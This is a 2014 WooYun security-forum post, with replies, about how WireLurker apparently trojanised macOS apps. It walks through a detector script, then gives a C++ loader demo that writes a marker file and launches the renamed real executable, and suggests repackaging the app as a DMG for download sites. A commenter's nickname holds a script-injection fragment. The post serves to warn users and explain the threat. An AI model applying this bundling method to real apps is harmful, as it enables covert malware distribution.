当前位置:WooYun(白帽子技术社区) >> Mac Os >> 【WireLurker的提示】MacOS恶意APP捆绑方式猜测与实现

【WireLurker的提示】MacOS恶意APP捆绑方式猜测与实现

疯狗 (阅尽天下漏洞,心中自然无码。) | 2014-11-07 10:36

昨天因为WireLurker,导致MacHook以及国内几个第三方APP下载站火了,Mac下的黑色产业链也逐渐浮现在公众视线。其实我本人一直比较怀疑第三方APP下载站提供的APP安全性,是否有类似EXE捆绑方式寄生在破解APP上的恶意程序,是不是很高级很难实现的patch技术?这些都不得而知。

但昨天WireLurker被媒体曝光后,有人给出了一段自查脚本引起了我的注意,WireLurkerDetector

特别是其中这个函数
def is_app_infected(root):
    try:
        pl = plistlib.readPlist(os.path.join(root, 'Contents', 'Info.plist'))
        be = pl['CFBundleExecutable']
        bundle_exec = os.path.join(root, 'Contents', 'MacOS', be)
        bundle_exec_ = bundle_exec + '_'
        if is_file_hidden(bundle_exec) and is_file_hidden(bundle_exec_):
            return True

        the_script = os.path.join(root, 'Contents', 'Resources', 'start.sh')
        print the_script
        the_pack = os.path.join(root, 'Contents', 'Resources', 'FontMap1.cfg')
        if is_file_hidden(the_script) and is_file_hidden(the_pack):
            return True

        return False

    except Exception:
        return False

一般人会觉得这就是个检查文件隐藏属性的功能而已,但白帽子的直觉告诉我这正是WireLurker所使用的“寄生”技巧,关键的代码就在上半部分:
pl = plistlib.readPlist(os.path.join(root, 'Contents', 'Info.plist'))
        be = pl['CFBundleExecutable']  -->  获取执行文件名
        bundle_exec = os.path.join(root, 'Contents', 'MacOS', be)
        bundle_exec_ = bundle_exec + '_'  -->  检查带有下划线的文件名干嘛,莫非是有个恶意的loader?


Mac用户都知道,其实OS X下的APP就是一个特殊的文件夹,有个APP的后缀,目录结构大概是这样:
_CodeSignature, CodeResources  ->  APP数字签名,防篡改等
Info.plist  ->  APP初始初始信息
Frameworks  ->  第三方的库程序
MacOS  -> 可执行程序目录(就是“App”的本体程序,一个或多个)
PkgInfo  ->  创建者签名
Resources  ->  程序资源目录

其中Info.plist里面的CFBundleExecutable键值记录了默认执行的程序名称,比如我本地一个小型16进制编辑软件(0xED)的就是
exec.png
你说懂了,直接修改这里指向恶意程序就好了,其实也没那么容易,那样太明显了直接引起用户怀疑,如何实现既注入了恶意代码,又能正常运行程序呢?就是前面我提到的loader方式,执行完恶意程序后在启动正常的APP,天衣无缝。因为没有WireLurker的样本,只能黑箱重现,用Xcode简单做了个Demo。
#include <fstream>
#include <iostream>
#include <unistd.h>

using namespace std;

int main()
{
    char s[1024];
    char a[7] = "/0xED_";  //真正的Mac App实体
    getcwd(s, 1024);
    //std::cout << s;
    strcat(s,a);
    
    ofstream out("/tmp/Hacked.txt");
        out << s << endl;
    out.close();

    //其实上面做了很多就是想自动获取当前APP目录,但最终居然是空值,所以。。。偷懒啦
    system( "/Applications/0xED.app/Contents/MacOS/0xED_" );
    return 0;
}


没运行APP前
➜  /tmp  $ ls -l /tmp/*.txt  
zsh: no matches found: /tmp/*.txt

运行APP后,APP正确执行
bash.png
进程图
process.png

最后将整个APP目录打包至DMG文件,发布到第三方下载站去吧。

PS:以上是最简单的也是人人都能实现的恶意程序捆绑方法,所以经常下破解App的伙伴谨慎些吧,制造/二次打包恶意APP成本非常的低,就像越狱后的iPhone样,使用破解就代表你主动放弃了OS一些合法APP的校验与保护,无论系统怎样提示挽救你,最终你还是会执行他。

分享到:
  1. 1#
    回复此人 感谢
    园长 (喵~) | 2014-11-07 10:48

    买完常用的软件和IDE授权几万应该是没了

  2. 2#
    回复此人 感谢
    s0mun5 | 2014-11-07 10:49

  3. 3#
    回复此人 感谢
    depycode (静) | 2014-11-07 10:50

    mark

  4. 4#
    回复此人 感谢
    YY-2012 (#)<alert("dandan")>(#) | 2014-11-07 11:00

    没钱用MacOS

  5. 5#
    回复此人 感谢
    livers (如梦似幻) | 2014-11-07 11:03

    额  不少人以为不越狱就百毒不侵了。

    这其实是个错误观念。  
    其实可以谈谈第三方app 站吧。比如itools 本身  自己付费下载了应用程序,破解DRM,用企业版IOS开发账号签名,在进行web下载网络分发安装(企业版签名的不能上appstore 但可以按照在未越狱的设备上)。

    这中间环节 破解DRM之后完全可以实现很多XX再自签名   你们还敢用么?

    你们说没看见他偷我啥呀。。。


    你是否要输入你的appleid 和账号啊
    你不知道你的账号 被贡献出来刷了多少榜单。。。
    你的icloud照片不担心么。

    itools 它本身不会泄露吗  

    赶紧更改密码吧。  装正版吧

  6. 6#
    回复此人 感谢
    肉肉 (我我我我我我是乌云头号美男子) | 2014-11-07 11:06

    @livers 。。。

  7. 7#
    回复此人 感谢
    0xLucifer (../../../../) | 2014-11-07 11:07

    @livers 而且itools之类的软件还会更新你的程序,有一次我见了一个taobao的IOS客户端,打开的时候妈蛋让我确认是否接受来及xxx开发者的认可之类,立马吓尿了。

  8. 8#
    回复此人 感谢
    你大爷 | 2014-11-07 11:08

    反正没钱买,啥都不怕

  9. 9#
    回复此人 感谢
    疯狗 (阅尽天下漏洞,心中自然无码。) | 2014-11-07 11:16

    @livers 嗯,据说某公司APP下架就是因为发现因滥用企业证书获取用户敏感信息,企业证书签后的APP貌似权限会比普通的大,求IOS牛科普。

  10. 10#
    回复此人 感谢
    Sogili (.) 长短短 (.) | 2014-11-07 11:25

    @livers 类似用PP助手无越狱模式安装APP的风险吧

  11. 11# 感谢(1)
    回复此人 感谢
    易水寒 | 2014-11-07 11:50

    iOS上,企业证书部署确实是一个很大的“问题”。如果能做到静默安装(我瞎说的)岂不是更爽?

  12. 12#
    回复此人 感谢
    爱捣蛋的鬼 | 2014-11-07 11:51

    @Sogili 还有蒲公英, 我下了几个app, 改了源码发上去了, 不过没发布

  13. 13#
    回复此人 感谢
    乌云厂商 | 2014-11-07 11:53

    @0xLucifer 那个是正常的提示 inhouse版本都会有的

  14. 14#
    回复此人 感谢
    wefgod (求大牛指点) | 2014-11-07 11:55

    狗哥给力,不过首先也要有一台苹果?

  15. 15#
    回复此人 感谢
    疯狗 (阅尽天下漏洞,心中自然无码。) | 2014-11-07 12:20

    @爱捣蛋的鬼 咋改的源码?

  16. 16#
    回复此人 感谢
    DM_ (http://x0day.me) | 2014-11-07 12:23

    首先。。

  17. 17#
    回复此人 感谢
    livers (如梦似幻) | 2014-11-07 12:27

    你得。。

  18. 18#
    回复此人 感谢
    Sunshine (0123456789) | 2014-11-07 12:37

    有一个。。

  19. 19#
    回复此人 感谢
    园长 (喵~) | 2014-11-07 12:44

    咬了一口的

  20. 20#
    回复此人 感谢
    bey0nd | 2014-11-07 13:04

    米国造的

  21. 21#
    回复此人 感谢
    乐乐、 | 2014-11-07 13:08

    首先我要用得起苹果

  22. 22#
    回复此人 感谢
    sky (啪啪啪啪脸好疼是不是?) | 2014-11-07 13:36

    辛亏只有ipad,拿来看看电影,先让我用mbp看个爱情动作片压压惊

  23. 23#
    回复此人 感谢
    梧桐雨 (‮ofni.uygnotuw‮) | 2014-11-07 13:40

    还能这样。。感谢狗哥科普

  24. 24#
    回复此人 感谢
    Hxai11 (星辰将为你的眼,而风儿则为你的双手) | 2014-11-07 14:44

    成本好低啊,好危险

  25. 25#
    回复此人 感谢
    爱捣蛋的鬼 | 2014-11-08 23:35

    @疯狗 hybird app, 想怎么改就怎么改..

  26. 26#
    回复此人 感谢
    _Evil (科普是一种公益行为) | 2014-11-09 19:15

    @Hxai11 证书签名多少钱?

  27. 27#
    回复此人 感谢
    微信公众号 | 2014-11-09 23:51

    20楼没懂起 干嘛不往下接

  28. 28#
    回复此人 感谢
    昵称 (</textarea>'"><script src) | 2014-11-10 10:15

    mark一个

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录

其它内容

  • 暂无